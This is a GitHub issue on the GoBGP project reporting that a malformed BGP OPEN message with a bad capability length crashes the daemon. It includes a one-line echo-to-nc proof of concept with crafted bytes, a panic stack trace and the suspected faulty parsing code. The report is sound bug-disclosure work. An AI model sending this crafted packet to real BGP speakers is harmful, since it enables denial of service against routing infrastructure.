osrg / gobgp

BGP implemented in the Go Programming Language
https://osrg.github.io/gobgp/
Apache License 2.0
3.59k stars 684 forks source link

Crash when parsing BGP OPEN #2598

Open ammarzuberi opened 1 year ago

ammarzuberi commented 1 year ago

A BGP open message where the length of a capability optional parameter is incorrect can cause a crash. For instance the following message will cause GoBGP to crash:

echo -e '\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x2c\x01\x04\xfd\xe9\x00\x5a\x01\x02\x03\x04\x0f\x02\x0d\x02\x01\x04\x00\x01\x00\x01\x41\x04\x00\x00\xfd\xe9' | nc localhost 1791

Crash message:

goroutine 71 [running]:
github.com/osrg/gobgp/packet/bgp.(*OptionParameterCapability).DecodeFromBytes(0xc420118460, 0xc420034252, 0x7, 0x7, 0x4, 0x14)
    /go/src/github.com/osrg/gobgp/packet/bgp/bgp.go:892 +0x2b4
github.com/osrg/gobgp/packet/bgp.(*BGPOpen).DecodeFromBytes(0xc420030400, 0xc42003424a, 0xf, 0xf, 0xc42000e058, 0x1, 0x1, 0x0, 0xc420053800)
    /go/src/github.com/osrg/gobgp/packet/bgp/bgp.go:971 +0x2bd
github.com/osrg/gobgp/packet/bgp.parseBody(0xc42033b870, 0xc420034240, 0x19, 0x19, 0xc42000e058, 0x1, 0x1, 0xb14f40, 0x38a8c201, 0xc42000e058)
    /go/src/github.com/osrg/gobgp/packet/bgp/bgp.go:8903 +0x2f5
github.com/osrg/gobgp/packet/bgp.ParseBGPBody(0xc42033b870, 0xc420034240, 0x19, 0x19, 0xc42000e058, 0x1, 0x1, 0x0, 0x0, 0xc42005ee38)
    /go/src/github.com/osrg/gobgp/packet/bgp/bgp.go:8917 +0x74
github.com/osrg/gobgp/server.(*FSMHandler).recvMessageWithError(0xc4201910e0, 0xc99208, 0xc4201cd960, 0x0)
    /go/src/github.com/osrg/gobgp/server/fsm.go:825 +0x70a
github.com/osrg/gobgp/server.(*FSMHandler).recvMessage(0xc4201910e0, 0x0, 0x0)
    /go/src/github.com/osrg/gobgp/server/fsm.go:967 +0x61
github.com/osrg/gobgp/server.(*FSMHandler).(github.com/osrg/gobgp/server.recvMessage)-fm(0x0, 0x0)
    /go/src/github.com/osrg/gobgp/server/fsm.go:1043 +0x2a
gopkg.in/tomb%2ev2.(*Tomb).run(0xc4201910e0, 0xc4202e2c10)
    /go/src/gopkg.in/tomb.v2/tomb.go:163 +0x2b
created by gopkg.in/tomb%2ev2.(*Tomb).Go
    /go/src/gopkg.in/tomb.v2/tomb.go:159 +0xb9
panic: runtime error: slice bounds out of range

I believe this happens because the length field from the message is used to index into the data on line 1074 of bgp.go, and the error is not caught:

func (o *OptionParameterCapability) DecodeFromBytes(data []byte) error {
  if uint8(len(data)) < o.ParamLen {
    return NewMessageError(BGP_ERROR_OPEN_MESSAGE_ERROR, BGP_ERROR_SUB_UNSUPPORTED_OPTIONAL_PARAMETER, nil, "Not all OptionParameterCapability bytes available")
  }
  for len(data) >= 2 {
    c, err := DecodeCapability(data)
    if err != nil {
      return err
    }
    o.Capability = append(o.Capability, c)
    if c.Len() == 0 || len(data) < c.Len() {
      return NewMessageError(BGP_ERROR_MESSAGE_HEADER_ERROR, BGP_ERROR_SUB_BAD_MESSAGE_LENGTH, nil, "Bad capability length")
    }
    data = data[c.Len():] // <------------------
  }
  return nil
}
higebu commented 1 year ago

@ammarzuberi What version of gobgp are you using?